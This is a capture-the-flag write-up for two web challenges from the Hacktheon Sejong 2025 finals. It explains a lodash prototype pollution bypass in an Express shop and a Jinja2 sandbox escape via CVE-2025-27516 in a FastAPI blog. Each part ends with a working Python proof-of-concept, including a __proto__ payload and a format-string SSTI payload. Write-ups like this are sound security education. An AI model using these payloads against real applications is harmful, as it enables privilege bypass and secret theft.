Hacktheon Sejong 2025 Finals

Overview#

This write-up is for two white-box web challenges from the finals of Hacktheon Sejong 2025: Shop Prototype and Blog. Here is the link to source code of them.

VuxNx

Hacktheon_Sejong_2025_Final

Waiting for api.github.com...

00K

Waiting...

I’ll go through each of them in detail, one by one. So now, let’s start with Shop Prototype

Shop Prototype#

Challenge Overview#

This is an Express.js-based web application simulating a prototype e-commerce site with login, registration, session handling, and a payment system.

Code Audit#

This is app/index.js :

1
const express = require('express');
2
const bodyParser = require('body-parser');
3
const app = express();
4
const _ = require('lodash');
5
const port = 3000;
6
const db = require('./db');
7
const bcrypt = require('bcryptjs');
8
const session = require('express-session');
9
const { sanitize } = require('./utils/sanitizer')
10
app.use(express.static('public'));
11
app.use(bodyParser.json());
12
app.use(express.urlencoded({ extended: true }));
13
app.use(session({
14
  secret: process.env.SESSION_SECRET,
15
  resave: false,
16
  saveUninitialized: true,
17
}));
18

19
let flag = process.env.FLAG;
20

21
function createUserContext(data) {
22
  const baseUser = {}
23
  const user = Object.create(baseUser);
24
  user.id = data.id;
25
  user.username = data.username;
26
  user.points = data.points;
27
  user.purchased = [];
28
  return user;
29
}
30

31
app.use((err, req, res, next) => {
32
  console.error('Unhandled error:', err.stack);
33
  res.status(500).send("Something went wrong. Please try again later.");
34
});
35

36
app.get('/', (req, res) => {
37
  res.send('Welcome to the Prototype Shop!');
38
});
39

40
function requireLogin(req, res, next) {
41
  if (!req.session.userId) return res.status(401).send("Login required");
42
  next();
43
}
44

45
app.post('/auth/logout', requireLogin, (req, res) => {
46
  req.session.destroy((err) => {
47
    if (err) {
48
      return res.status(500).send("Could not log out");
49
    }
50
    res.clearCookie('connect.sid');
51
    res.send("Logout successful!");
52
  });
53
});
54

55
app.get('/auth/register', (req, res) => {
56
  res.send('Register page');
57
});
58

59
app.post('/auth/register', async (req, res) => {
60
  const { username, password } = req.body;
61
  if (!username || !password) return res.status(400).send("Missing fields");
62

63
  const [exists] = await db.execute('SELECT * FROM users WHERE username = ?', [username]);
64
  if (exists.length > 0) return res.status(400).send("User already exists");
65

66
  const hashedPassword = await bcrypt.hash(password, 10);
67
  await db.execute('INSERT INTO users (username, password) VALUES (?, ?)', [username, hashedPassword]);
68

69
  res.send("User registered successfully!");
70
});
71

72
app.get('/auth/login', (req, res) => {
73
  res.send('Login page');
74
});
75

76
app.post('/auth/login', async (req, res) => {
77
  const { username, password } = req.body;
78
  const [rows] = await db.execute('SELECT * FROM users WHERE username = ?', [username]);
79
  if (rows.length === 0) return res.status(400).send("Invalid username or password");
80

81
  const userRow = rows[0];
82
  const isValidPassword = await bcrypt.compare(password, userRow.password);
83
  if (!isValidPassword) return res.status(400).send("Invalid username or password");
84

85
  req.session.userId = userRow.id;
86
  req.session.user = createUserContext(userRow);
87
  res.send("Login successful!");
88

89
})
90

91
app.get('/products', requireLogin, async (req, res) => {
92
  const [products] = await db.execute('SELECT * FROM products');
93
  res.json(products);
94
});
95

96
app.get('/me', requireLogin, async (req, res) => {
97
  const user = req.session.user;
98

99
  res.json({
100
    id: user.id,
101
    username: user.username,
102
    points: user.points,
103
    verified: user.verified,
104
    status: user.state,
105
    purchased: user.purchased
106
  });
107
});
108

109
app.post('/payment/init', requireLogin, async (req, res) => {
110
  const [rows] = await db.execute('SELECT * FROM users WHERE id = ?', [req.session.userId]);
111
  if (rows.length === 0) return res.status(404).send("User not found");
112

113
  const user = req.session.user;
114

115
  const forbiddenKeys = ['verified', 'status'];
116
  for (const key of forbiddenKeys) {
117
    if (key in req.body) {
118
      return res.status(400).send("[✖] You cannot modify this field. : {" + key + "}");
119
    }
120
  }
121

122
  const cleanBody = sanitize(req.body)
123
  _.merge(user, cleanBody);
124
  res.send("[✔] Info merged for payment.");
125
});
126

127

128
app.get('/payment/confirm', requireLogin, async (req, res) => {
129
  const user = req.session.user;
130
  if (!user || !user.productId) return res.status(400).send("Missing payment info.");
131

132
  const [products] = await db.execute('SELECT * FROM products WHERE id = ?', [user.productId]);
133
  if (products.length === 0) return res.status(404).send("Product not found");
134

135
  const product = products[0];
136

137
  const user_points = user.points;
138
  if (user_points < product.price) {
139
    return res.status(400).send("Not enough points.");
140
  }
141

142
  if (user.verified === true && user.state === 'paid' ) {
143
    await db.execute('UPDATE users SET points = points - ? WHERE id = ?', [product.price, user.id]);
144
    await db.execute('INSERT INTO purchases (user_id, product_id) VALUES (?, ?)', [user.id, product.id]);
145
    return res.send("🎉 Congratulations! " + flag);
146
  }
147
  return res.status(403).send("Prototype Shop: You’ve reached the limits of this early-stage system. No real purchases can be made.");
148
});
149

150
app.listen(port, () => {
151
  console.log(`SSPP true-prototype challenge running on http://localhost:${port}`);
152
});

As we can see, above code has features below:

User Authentication

1.1. Registration (POST /auth/register)
- Accepts username and password from the request body.
- Checks if the user already exists in the database.
- Hashes the password using bcryptjs.
- Stores the new user in the users table.
1.2. Login (POST /auth/login)
- Retrieves the user by username.
- Compares the provided password with the stored hash.
- If valid, stores the user ID and a simplified user context in the session.
1.3. Logout (POST /auth/logout)
- Destroys the user session and clears the session cookie.
Session Management

Uses express-session to manage user sessions.
User session stores:
- id
- username
- points
- purchased (empty array by default)
createUserContext() initializes the user object stored in the session.
Session user data is later used for authorization and logic checks.

Product Viewing

3.1. List Products (GET /products)
- Requires login.
- Queries and returns all available products from the database.
User Information

4.1. View Profile (GET /me)
- Requires login.
- Returns current session user’s data:
  - id
  - username
  - points
  - verified (if exists)
  - status (state)
  - purchased
Payment Logic

5.1. Initialize Payment (POST /payment/init)
- Requires login.
- Accepts user input and merges it into the session user object using _.merge.
- Blocks direct updates to verified and status keys.
- Sanitizes input using sanitize() from ./utils/sanitizer.
- All other fields can be merged freely.
5.2. Confirm Payment (GET /payment/confirm)
- Requires login.
- Verifies:
  - productId exists in session user object.
  - The product exists in the database.
  - User has enough points.
  - User is both verified === true and state === 'paid'.
If all checks pass:
- Deducts the product price from the user’s points.
- Records the purchase in the purchases table.
- Reveals the flag.
Otherwise:
- Returns an appropriate error message.

Follow the source and sink, we only focus on this logic:

1
if (user.verified === true && user.state === 'paid' ) {
2
    await db.execute('UPDATE users SET points = points - ? WHERE id = ?', [product.price, user.id]);
3
    await db.execute('INSERT INTO purchases (user_id, product_id) VALUES (?, ?)', [user.id, product.id]);
4
    return res.send("🎉 Congratulations! " + flag);
5
}

So, as I mentioned above, to get the flag, we need to meet two conditions: verified === true and state === 'paid'. Upon closer inspection, we can see a typical prototype pollution vulnerability in the /payment/init route due to the use of _.merge (the lodash version 4.17.1 is vulnerable to prototype pollution). So keep analysis the route /payment/init:

1
app.post('/payment/init', requireLogin, async (req, res) => {
2
  const [rows] = await db.execute('SELECT * FROM users WHERE id = ?', [req.session.userId]);
3
  if (rows.length === 0) return res.status(404).send("User not found");
4

5
  const user = req.session.user;
6

7
  const forbiddenKeys = ['verified', 'status'];
8
  for (const key of forbiddenKeys) {
9
    if (key in req.body) {
10
      return res.status(400).send("[✖] You cannot modify this field. : {" + key + "}");
11
    }
12
  }
13

14
  const cleanBody = sanitize(req.body)
15
  _.merge(user, cleanBody);
16
  res.send("[✔] Info merged for payment.");
17
});

WAFs in Place#

Before the merge occurs, the code implements two filtering mechanisms (WAF-like logic):

1. `forbiddenKeys` Blacklist#

1
const forbiddenKeys = ['verified', 'status'];
2
...
3
for (const key of forbiddenKeys) {
4
  if (key in req.body) {
5
    return res.status(400).send("[✖] You cannot modify this field. : {" + key + "}");
6
  }
7
}

This only checks top-level keys of req.body. As a result, the following payload is not blocked:

1
{
2
  "__proto__": {
3
    "verified": true,
4
    "state": "paid"
5
  }
6
}

This is because "verified" is not a direct key of the request body.

Bypass confirmed.

2. `sanitize()` Function#

The app then sanitizes the input before merging:

1
const cleanBody = sanitize(req.body)
2
_.merge(user, cleanBody);

The sanitize() function is meant to recursively filter out dangerous keys, such as:

1
const dangerousKeys = [
2
  'constructor',
3
  'prototype',
4
  '__defineGetter__',
5
  'eval',
6
  'settings',
7
  ...
8
];

However, __proto__ is NOT included in this list.

This is a critical mistake — __proto__ is a well-known vector for prototype pollution and should have been filtered.

Bypass confirmed.

PoC#

Combine all thing, we come to this PoC code:

1
import requests
2

3
BASE_URL = "http://hacktheon2025-challs-alb-1807358214.ap-northeast-2.elb.amazonaws.com:3000"
4
USERNAME = "c"
5
PASSWORD = "c"
6

7
session = requests.Session()
8

9
register_data = {"username": USERNAME, "password": PASSWORD}
10
response = session.post(f"{BASE_URL}/auth/register", json=register_data)
11
print("Register:", response.text)
12

13
login_data = {"username": USERNAME, "password": PASSWORD}
14
response = session.post(f"{BASE_URL}/auth/login", json=login_data)
15
print("Login:", response.text)
16

17
if "Login successful" not in response.text:
18
    print("Login failed. Exiting.")
19
    exit()
20

21
response = session.get(f"{BASE_URL}/products")
22
print("Raw response:", response.text)
23

24
try:
25
    products = response.json()
26
except Exception as e:
27
    print("Failed to parse products JSON:", e)
28
    exit()
29

30
if not products:
31
    print("No products found.")
32
    exit()
33

34
product_id = products[0]["id"]
35
product_price = products[0]["price"]
36
print(f"Target Product: ID={product_id}, Price={product_price}")
37

38
payload = {
39
    "productId": product_id,
40
    "points": product_price + 100,
41
    "__proto__": {
42
        "verified": True,
43
        "state": "paid"
44
    }
45
}
46
response = session.post(f"{BASE_URL}/payment/init", json=payload)
47
print("Exploit Payload Sent:", response.text)
48

49
response = session.get(f"{BASE_URL}/payment/confirm")
50
print("Flag:", response.text)

Why This Works#

_.merge() is known to be vulnerable to prototype pollution if __proto__ or constructor.prototype is present.
When user is created with Object.create(baseUser), its prototype chain is live.
Merging into __proto__ sets properties on the prototype of all objects in the app — including the user object from the session.
As a result, user.verified and user.state become 'true' and 'paid', satisfying the condition in /payment/confirm.

Blog#

Challenge Overview#

This FastAPI-based blogging platform enables users to register, log in using JWT authentication, create blog posts, and subscribe to other users. It supports email notifications for new posts and subscriptions using templated emails. The application is modular, with separate components for routing, data access, and utility functions. Configuration is managed through environment variables and secret files, and the system is structured around clearly defined data models for users, posts, and tokens.

Code Audit#

Because the source code for this challenge is quite large, in this blog, I cannot go through it in detail, one section at a time. I’ll provide the exact snippet that contains the core bug of the challenge.

1
{% raw %}
2

3
def render_template(template: str, **context):
4
    with open(os.path.join("templates", template)) as f:
5
        template = f.read()
6

7
    for key, value in context.items():
8
        template = template.replace(f"{{{{ {key} }}}}", value)
9

10
    return SandboxedEnvironment().from_string(template).render(**context)
11
{% endraw %}

The clearly bug that we can see that is SSTI at {% raw %}template = template.replace(f"{{{{ {key} }}}}", value){% endraw %}. But there is a problem, this snippet render template use SandboxedEnvironment(), which prevents many dangerous behaviors. Specifically, SandboxedEnvironment restricts access to Python’s built-in functions, object internals like __class__, and modules like os or subprocess, effectively mitigating most template-based code execution attacks. This means that even if an attacker injects malicious template expressions like {% raw %}{{ config.__class__ }}{% endraw %} or {% raw %}{{ cycler.__init__.__globals__.os.system('...') }}{% endraw %}, the sandbox will block them.

But wait, quick look at pyproject.toml:

1
[project]
2
name = "blog"
3
version = "0.1.0"
4
description = ""
5
requires-python = ">=3.13"
6
dependencies = [
7
    "aiosmtplib>=4.0.0",
8
    "fastapi[standard]>=0.115.12",
9
    "jinja2==3.1.5",
10
    "python-dotenv>=1.1.0",
11
    "python-jose[cryptography]>=3.4.0",
12
]

This project use jinja2 v3.1.5, try google this, we meet the CVE-2025-27516:

1
An oversight in how the Jinja sandboxed environment interacts with the |attr filter allows an attacker that controls the content of a template to execute arbitrary Python code.
2

3
To exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.
4

5
Jinja's sandbox does catch calls to str.format and ensures they don't escape the sandbox. However, it's possible to use the |attr filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the |attr filter no longer bypasses the environment's attribute lookup.

Follow this Github commit, we get:

Screenshot

I’ll explain the testcase used in this commit:

1
t = env.from_string(
2
  """{{ "{0.__call__.__builtins__[__import__]}"
3
      | attr("format")(not_here) }}"""
4
  )

The string inside {% raw %}{{...}}{% endraw %}:
```
1
"{0.__call__.__builtins__[__import__]}"
```
This is a string literal — it’s not executed yet. It contains a format string with dangerous internals.

What does it mean?
- Start with an object (0) — just a dummy input.
- Access .__call__: For an integer, this doesn’t exist, but the idea is to trick the engine when the string is dynamically evaluated.
- Then access .__builtins__: In many Python objects (especially functions), you can reach __builtins__, which gives access to all built-in functions (open, eval, __import__, etc.).
- Then use [...]: dictionary-style access to built-ins, here grabbing __import__.
This is a format string waiting to be .format()-ed to get resolved.
| attr("format")

This is a Jinja2 filter that dynamically grabs the .format method from the string object.

So now, you’re essentially doing:
```
1
"{dangerous_stuff}".format(not_here)
```
If not_here is an object (provided in context), this could resolve to __import__ or even worse — arbitrary code execution.

.format(not_here)

It tries to evaluate:

1
"{0.__call__.__builtins__[__import__]}".format(not_here)

Which becomes:

1
not_here.__call__.__builtins__[__import__]

At this time, we can exploit this bug by replace not_here by self, and then do the same thing with a normal SSTI. But now, we come to a new problem, you can not call function directly in this template, it will raise the exception:

1
ValueError: Only '.' or '[' may follow ']' in formal field specifier

At first, I couldn’t think outside the box and kept trying to find a way to call a function, but I wasn’t successful. But, I realized that, I didn’t need to read secret.py, I only need ADMIN_USER_ID. So now, we can approach by class hierarchy and then access the attribute ADMIN_USER_ID of module secret

PoC#

Nah, we got a simple PoC for this challenge:

1
import requests
2

3
url = "http://localhost:8888/posts"
4
headers = {
5
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiYmY5NmE0MDgtYzg0OC00NmY2LThhMWMtODA1MDJjOWVhZDE4IiwidXNlcm5hbWUiOiJ0ZXN0dXNlciIsImlzX2FkbWluIjpmYWxzZSwiZW1haWwiOiJ4QGV4YW1wbGUuY29tIn0.9y0ikwQNTnP2RkE2qS-FNWF2Z9Iu5o_OXi6Tw2r8yCI",
6
    "Content-Type": "application/json"
7
}
8

9
jinja_payload = '''{{ '{0.__init__.__globals__[sys].modules[src.secret].ADMIN_USER_ID}' | attr('format')(self) }}'''
10

11
data = {
12
    "title": "read main.py",
13
    "content": jinja_payload
14
}
15

16
response = requests.post(url, headers=headers, json=data)
17
print("Status Code:", response.status_code)
18
print("Response:", response.text)

Overview#

Shop Prototype#

Challenge Overview#

Code Audit#

WAFs in Place#

1. forbiddenKeys Blacklist#

2. sanitize() Function#

PoC#

Why This Works#

Blog#

Challenge Overview#

Code Audit#

PoC#

1. `forbiddenKeys` Blacklist#

2. `sanitize()` Function#